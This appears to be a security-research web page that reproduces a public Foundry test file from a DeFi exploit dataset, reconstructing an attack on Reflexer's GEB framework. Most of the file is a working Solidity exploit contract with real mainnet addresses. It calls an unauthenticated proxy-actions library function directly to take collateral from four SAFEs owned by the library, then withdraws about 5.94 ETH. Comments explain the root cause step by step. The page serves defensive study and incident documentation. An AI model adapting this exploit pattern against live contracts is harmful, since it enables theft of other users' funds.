Public reproduction file
src/test/2026-08/ReflexerGEB_exp.sol
Public reproduction file for dataset entry ReflexerGEB.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : ~5.94 ETH (~$14K)7// Attacker : https://etherscan.io/address/0xb929c7215c0ec8ebad5fbf73b1da63bccfff18968// Attack Contract : https://etherscan.io/address/0x6a213f0b5bd9eed865d3e2efc867b73dfe9039e79// Vulnerable Contract (shared library) : https://etherscan.io/address/0x84fe452d9fb495a335c74a225e6ad52c35eb8616 (GebProxyActions)10// Attack Tx : https://etherscan.io/tx/0xfbce28e35c26358110dd9ed91f9ceef588acb264c3cf6c573df65ca21335058f12// @Analysis13// Protocol : Reflexer's GEB framework (RAI-style CDP system), in Global Settlement since Jan 2021.14// Alert : ExVul / SkyEye15//16// Root cause:17// GebProxyActions is a SHARED, stateless "proxy actions" library. It is meant to be DELEGATECALLED18// through each user's own DSProxy so that, from GebSafeManager's point of view, msg.sender is the19// per-user proxy that actually owns the SAFE. Several SAFEs (ids 3, 5, 8, 18 for collateral ETH-A)20// were instead registered in GebSafeManager with ownsSAFE[safe] == the GebProxyActions library's OWN21// address (0x84FE...), i.e. the library contract itself is the registered owner.22//23// GebProxyActions.quitSystem(manager, safe, dst) is a plain public function with NO authentication.24// It simply forwards to GebSafeManager.quitSystem(safe, dst). When called DIRECTLY on the library25// (not via a proxy), the manager sees msg.sender == the library address, which equals ownsSAFE[safe],26// so the safeAllowed(safe) check passes. That lets ANY external caller migrate the collateral of27// those SAFEs to an address of their choosing.28//29// Because the system is in Global Settlement, the flow per SAFE is:30// GlobalSettlement.processSAFE -> clears the SAFE's debt, leaving free collateral in the handler31// GebProxyActions.quitSystem -> moves that free collateral into the attacker's own SAFE balance32// GlobalSettlement.freeCollateral -> converts it to internal ETH-A tokenCollateral33// After looping every stolen SAFE, one CollateralJoin.exit + WETH.withdraw turns it into ETH.34//35// This drains leftover/dormant collateral from old CDP positions of a protocol that has been shut36// down (Global Settlement) since January 2021 - not an actively-used live protocol - but it is a37// real, self-contained, permissionless theft of other users' funds and worth documenting.39interface ISAFEEngine {40 function approveSAFEModification(address account) external;41 function tokenCollateral(bytes32 collateralType, address account) external view returns (uint256);42 function safes(bytes32 collateralType, address safe) external view returns (uint256 lockedCollateral, uint256 generatedDebt);43}45interface IGebSafeManager {46 function safes(uint256 safe) external view returns (address handler);47 function ownsSAFE(uint256 safe) external view returns (address owner);48 function allowHandler(address usr, uint256 ok) external;49}51interface IGlobalSettlement {52 function processSAFE(bytes32 collateralType, address safe) external;53 function freeCollateral(bytes32 collateralType) external;54}56// The vulnerable shared library. quitSystem is public and unauthenticated.57interface IGebProxyActions {58 function quitSystem(address manager, uint256 safe, address dst) external;59}61interface ICollateralJoin {62 function exit(address account, uint256 wad) external;63}65interface IWETH {66 function withdraw(uint256 wad) external;67 function balanceOf(address account) external view returns (uint256);68}70// Standalone exploit contract, matching the on-chain attack contract: an unprivileged contract that71// migrates SAFEs owned by the GebProxyActions library to itself and cashes the collateral out to ETH.72contract Exploiter {73 ISAFEEngine constant SAFE_ENGINE = ISAFEEngine(0xf0b7808b940b78bE81ad6F9E075Ce8be4A837E2c);74 IGebSafeManager constant MANAGER = IGebSafeManager(0xdF88b73462abD08f145b4b31edf4966C7129B255);75 IGlobalSettlement constant GLOBAL_SETTLEMENT = IGlobalSettlement(0x4d37Ef04724fec8b80AAB3F6B7e7F4ef4181D9a9);76 IGebProxyActions constant PROXY_ACTIONS = IGebProxyActions(0x84FE452d9fb495A335C74a225e6AD52C35eB8616);77 ICollateralJoin constant ETH_A_JOIN = ICollateralJoin(0xE843783144AcDf485Ff86D726bCb67dD316e0BBE);78 IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);79 bytes32 constant ETH_A = 0x4554482d41000000000000000000000000000000000000000000000000000000; // "ETH-A"81 receive() external payable {}83 function run() external {84 // Allow the manager to move collateral into this contract's SAFEEngine balance.85 SAFE_ENGINE.approveSAFEModification(address(MANAGER));86 MANAGER.allowHandler(address(PROXY_ACTIONS), 1);88 // The four SAFEs whose registered owner is the GebProxyActions library itself.89 uint256[4] memory safeIds = [uint256(3), 5, 8, 18];91 for (uint256 i = 0; i < safeIds.length; i++) {92 uint256 safeId = safeIds[i];93 require(MANAGER.ownsSAFE(safeId) == address(PROXY_ACTIONS), "safe not owned by library");94 address handler = MANAGER.safes(safeId);96 // 1. Clear the SAFE's debt so its collateral becomes free (Global Settlement).97 GLOBAL_SETTLEMENT.processSAFE(ETH_A, handler);99 // 2. THE BUG: call the public, unauthenticated library function directly. The manager100 // sees msg.sender == the library, which passes ownsSAFE[safe] == msg.sender, and the101 // collateral is migrated to us.102 PROXY_ACTIONS.quitSystem(address(MANAGER), safeId, address(this));104 // 3. Convert the migrated collateral into internal ETH-A tokenCollateral for this contract.105 GLOBAL_SETTLEMENT.freeCollateral(ETH_A);106 }108 // Cash out the whole stolen balance to WETH, then to ETH.109 uint256 amount = SAFE_ENGINE.tokenCollateral(ETH_A, address(this));110 ETH_A_JOIN.exit(address(this), amount);111 WETH.withdraw(WETH.balanceOf(address(this)));112 }113}115contract ReflexerGEBExploit is BaseTestWithBalanceLog {116 address constant ATTACKER = 0xB929C7215c0ec8EbAD5fBf73b1Da63bccfFf1896;117 uint256 constant FORK_BLOCK = 25_883_378; // block before the attack (25883379)119 Exploiter internal exploiter;121 function setUp() public {122 vm.createSelectFork("mainnet", FORK_BLOCK);123 exploiter = new Exploiter();124 attacker = address(exploiter); // balanceLog tracks the profit contract's ETH gain125 }127 function testExploit() public balanceLog {128 // Match the real trace: EOA (tx.origin) drives an unprivileged contract that does the work.129 vm.prank(ATTACKER, ATTACKER);130 exploiter.run();132 // Net collateral drained in the original tx: 5943599831844387377 wei (~5.9436 ETH).133 emit log_named_decimal_uint("Attacker ETH profit", address(exploiter).balance, 18);134 assertApproxEqAbs(address(exploiter).balance, 5_943_599_831_844_387_377, 1e15, "profit off vs on-chain 5.94 ETH");135 }136}Analysis
Dataset entry
Public Foundry test for “ReflexerGEB” (2026-09-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb929c7215c0ec8ebad5fbf73b1da63bccfff1896
- Attack Contract
0x6a213f0b5bd9eed865d3e2efc867b73dfe9039e7
- Vulnerable Contract
0x84fe452d9fb495a335c74a225e6ad52c35eb8616
- Attack Tx
0xfbce28e35c26358110dd9ed91f9ceef588acb264c3cf6c573df65ca21335058f
File record
- Name
- ReflexerGEB
- Path
- src/test/2026-08/ReflexerGEB_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5e77e459cca3f79a4b997601c7e683b5c8b94423
- Language
- Solidity
- Size
- 137 lines
- Date
- 2026-09-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/ReflexerGEB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5e77e459cca3f79a4b997601c7e683b5c8b94423, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.